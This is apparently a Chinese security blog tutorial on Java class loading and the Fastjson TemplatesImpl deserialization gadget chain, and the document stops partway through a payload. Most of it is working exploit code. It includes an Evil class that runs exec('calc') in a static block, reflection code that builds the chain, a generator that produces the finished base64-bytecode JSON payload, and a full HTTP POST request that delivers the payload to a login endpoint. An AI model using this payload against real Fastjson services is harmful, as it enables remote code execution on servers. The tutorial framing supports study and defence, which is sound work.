文章目录
- 1、类加载与反射调用
- 1.1、类加载
- 1.2、测试代码
- 1.3、通过类的加载和反射调用evil类
- 2、Fastjson TemplatesImpl链调试
- 2.1、链路总览
- 2.2、调试构造利用链
- 3、fastjson反序列化TemplatesImpl 利⽤
- 3.1、开启 Feature.SupportNonPublicField 得作用
- 3.2、构造利用payload
- 3.3、模拟实际环境
1、类加载与反射调用
1.1、类加载
当实例化一个类的过程,会经历下面四步,按照顺序:
1、加载(Loading)
2、链接(Linking)
3、初始化(Initialization)
4、实例化(Instantiation)
另外,在说下:静态块(静态初始化块)静态块是一个在类加载时执行的代码块,用于执行一些静态初始化操作
。
注意的是,同一个机器,在多次实例化一个类的过程,构造方法会在每次实例化的过程调用,而静态块仅仅在第一次实例化的过程被调用。
备注:
但是实际测试与上面的理论有一些区别,不知道为什么,简单而言,
static代码块内容,理论在类被加载的时候就会被调用,
实际上,必须在类实例化的时候才会调用
这要注意,Evil类的位置,我们看到,当类多次实例化,static静态代码块的内容仅仅会在第一次类被加载的时候执行,
这个就是上面对应的问题,理论上,类被加载的时候,static静态代码块的内容就会被执行,但是实际测试,看到没有进一步实例化的话,static静态代码块的内容就没执行,有的同学可能会说,因为 static代码块 的内容仅仅会被执行一次,是不是上面执行过了,所以没被执行,
我们在解开注释,发现就好了,这个static代码块的执行确实有点奇怪,
1.2、测试代码
创建一个evil类,代码如下:
public class Evil {static {System.out.println("静态代码块");}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
类加载的代码,
package com.example.test;
public class test {public static void main(String[] args) throws Exception {Class<?> clazz = ClassLoader.getSystemClassLoader().loadClass("Evil"); //把类加载进来clazz.newInstance(); //实例化evil类System.out.println("-------------");clazz.newInstance();// System.out.println("-------------");
// // 获取类的构造函数(假设有一个带有int和String参数的构造函数)
// Constructor<?> constructor = clazz.getConstructor(String.class);
// // 创建类的实例,传入参数
// Object evilInstance = constructor.newInstance("asd");}}
1.3、通过类的加载和反射调用evil类
这个是另一种通过类加载的方式来实例化evil类,loadClass与defineClass都是 java.lang.ClassLoader 类的方法但是因为上面的loadClass是public,所以可以直接调用,但是下面的defineClass是protected,所以需要配合反射机制来调用。然后仅仅看这两个方法如何触发漏洞,loadclass是就一个传参可控且被实例化就可以,defineClass是4个传参可控且被实例化才可以,
protected final Class<?> defineClass(String name, byte[] b, int off, int len);name:指定要被类加载的类名称。b:需要被类加载 的 类节码字节数组。off:即上面数组哪个位置开始加载;一般是0,也就是从头开始len:要加载的长度;一般是bytes.length,也就是上面数组全部加载
放下理想情况下的代码和执行结果,
package com.example.test;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;public class test {public static void main(String[] args) throws Exception {// Class<?> clazz = ClassLoader.getSystemClassLoader().loadClass("Evil"); //把类加载进来
// clazz.newInstance(); //实例化evil类
//
// System.out.println("-------------");
//
// clazz.newInstance();
//System.out.println("-------------");// 获取类的构造函数(假设有一个带有int和String参数的构造函数)Constructor<?> constructor = clazz.getConstructor(String.class);// 创建类的实例,传入参数Object evilInstance = constructor.newInstance("asd");//通过反射调⽤defineClassClassLoader c1 = ClassLoader.getSystemClassLoader(); //创建类加载对象//使用反射机制获取 ClassLoader 类的 defineClass 方法Method m = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//设置其访问权限为可访问,这个方法用于定义一个类m.setAccessible(true);//从文件系统中读取一个类文件,将其存储在 bytes 数组中byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));//调用 defineClass 方法会将字节码内容转换为一个 Class 对象,并返回给 clazz1Class clazz1 = (Class)m.invoke(c1, "Evil", bytes, 0, bytes.length);//实例化对象clazz1.newInstance();}}
public class Evil {static {System.out.println("静态代码块");}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
2、Fastjson TemplatesImpl链调试
这里利用到上面的defineClass方法来实现,就是那个比较麻烦的方法。
2.1、链路总览
新建一个类,导入 TemplatesImpl 跟进到 414 行的 defineClass
继续跟进去,就可以看到是 classloader 类的 defineClass 方法,这里就找到第一个条件:找到一个可控的 defineClass 方法,
小结下调用链,
defineTransletClasses-》loader.defineClass-》defineClass
从上面看到 defineTransletClasses 是私有方法,也不能直接调用,我们看下哪里调用了他,发现第一次直接跟,也就是ctrl+点击,无法跟进去,所以右击 查找用法 ,
然后在跟就可以跟进去了,这有一个问题是有3处调用,为什么要跟最后一个。因为我们在复现这个调用链,前人就是从这个调用链打出的伤害,所以我们也照葫芦画瓢,然后其他的几处,各位有兴趣也可以自己研究下能否走通。
跟进来,会发现存在2个if需要满足,也就是_name不能为null,_class需要为null
稍微跟一下 _name 和 _class 都是默认就是null,那么只需要反射设置一下_name的值即可,
当一切顺利的话,运行完毕451行完成类加载,在455行就运行了newInstance来实例化类。即漏洞触发的2个条件都满足,~类加载参数可控~类加载被实例化
然后,这还一个问题是,446行的getTransletInstance方法仍然不是public,我们继续找下getTransletInstance在哪个方法被调用,跟一下到481行的newTransformer方法,是public,ok
小结整个链,
newTransformer-》getTransletInstance-》defineTransletClasses-》loader.defineClass-》defineClass
2.2、调试构造利用链
代码,
package com.example.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class test3 {public static void main(String[] args) throws Exception {TemplatesImpl temp = new TemplatesImpl();temp.newTransformer();}
}
打个断点,跟,这个_name默认为空,直接返回,所以使用反射给_name设置一个 值,
设置完毕_name,继续走,发现395报错,程序退出,
package com.example.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.lang.reflect.Field;public class test3 {public static void main(String[] args) throws Exception {TemplatesImpl temp = new TemplatesImpl();Class aClass = temp.getClass();Field filedname = aClass.getDeclaredField("_name");//_name是私有变量,所以我们需要绕过filedname.setAccessible(true);filedname.set(temp,"xbb");temp.newTransformer();}
}
分析这个 _tfactory 不能为空,我们直接全文搜索下,正常这个值应该赋什么,
直接反射赋值,再走,
package com.example.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class test3 {public static void main(String[] args) throws Exception {TemplatesImpl temp = new TemplatesImpl();Class aClass = temp.getClass();Field filedname = aClass.getDeclaredField("_name");//_name是私有变量,所以我们需要绕过filedname.setAccessible(true);filedname.set(temp,"xbb");Field filebytecodes = aClass.getDeclaredField("_bytecodes");byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));filebytecodes.setAccessible(true);//设置二维数组filebytecodes.set(temp,new byte[][]{bytes});Field filebtfactory= aClass.getDeclaredField("_tfactory");filebtfactory.setAccessible(true);filebtfactory.set(temp,new TransformerFactoryImpl());temp.newTransformer();}
}
还是报错,这个拿到我们传入的恶意类evil,得到其父类,就是object,但是object肯定不等于 ABSTRACT_TRANSLET ,所以直接走到else的逻辑,进而出错,
我们使得恶意类继承对应得父类,并实现其中得2个抽象方法,
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {System.out.println("静态代码块");}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
然后记得重新编译下,得到新的evil.class然后就走完毕了,虽然报错,但是我们恶意得类被加载执行了,
小结下代码,
package com.example.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class test3 {public static void main(String[] args) throws Exception {TemplatesImpl temp = new TemplatesImpl();Class aClass = temp.getClass();Field filedname = aClass.getDeclaredField("_name");//_name是私有变量,所以我们需要绕过filedname.setAccessible(true);filedname.set(temp,"xbb");Field filebytecodes = aClass.getDeclaredField("_bytecodes");byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));filebytecodes.setAccessible(true);//设置二维数组filebytecodes.set(temp,new byte[][]{bytes});Field filebtfactory= aClass.getDeclaredField("_tfactory");filebtfactory.setAccessible(true);filebtfactory.set(temp,new TransformerFactoryImpl());temp.newTransformer();}
}
,
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {System.out.println("静态代码块");}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
3、fastjson反序列化TemplatesImpl 利⽤
这个利用链在实战中利用较少,一个原因是有一些限制,
3.1、开启 Feature.SupportNonPublicField 得作用
需要 JSON.parseObject或者 JSON.parse先看下这个 Feature.SupportNonPublicField 得作用,先看下正常json反序列化得情况,
然后把set/get得一些函数给注释,
因为设置age、username属性得set/get函数去掉了,所以输出为空,
此时,我们加上 Feature.SupportNonPublicField 再看下,
相当于开启了给属性增加了set/get得方法。而上面我们分析 TemplatesImpl 利用链得时候,细心得同学可能发现了,其对应得类缺少set/get函数,所以,这个链利用得条件就是rd在json反序列化得时候,增加 Feature.SupportNonPublicField 这个参数,这也是该链利用得前提。
3.2、构造利用payload
直接给出代码,重新构建下evil类,加一个弹出计算器,
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {System.out.println("静态代码块");try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
,
package com.example.test;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;public class test4 {public static void main(String[] args) throws Exception {byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));String code = Base64.getEncoder().encodeToString(bytes);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{\"@type\":\"" + NASTY_CLASS +"\",\"_bytecodes\":[\"" + code + "\"]," +"'_name':'xbb'," +"'_tfactory':{}," +"\"_outputProperties\":{}}\n";System.out.println(payload);JSON.parseObject(payload, Feature.SupportNonPublicField);}
}
效果正常,
先说下这里得两个点,一个是为什么需要base64编码,这是因为 alibaba\fastjson\parser\JSONScanner.class 在反序列化得时候,有一步骤解码得操作,
public byte[] bytesValue() {return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}
第二个是多了一个“ _outputProperties ”是干嘛得,不在跟了,有兴趣直接参考:https://blog.csdn.net/qq_35733751/article/details/119948833
得到最终得payload,
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ=="],'_name':'xbb','_tfactory':{},"_outputProperties":{}}
3.3、模拟实际环境
详细请求数据包,
POST /login HTTP/1.1
Host: localhost:8080
Content-Length: 2688
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=580930AAC50A1A850BE624BD09D5DE32
Connection: close{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ=="],'_name':'xbb','_tfactory':{},"_outputProperties":{}}
这里注意2点一个是后端代码,需要增加 Feature.SupportNonPublicField 参数,第二个是,一开始我是直接将payload,放到下面得登录用户名得框内,没有弹出计算器很怪异,其实大家看下上面图中两个紫色线标记得就明白了,假设将payload放到下图登录框内,在服务器端,payload就变为下面这种,所以无法触发
{"username":"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ==\"],'_name':'xbb','_tfactory':{},\"_outputProperties\":{}}","password":"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxq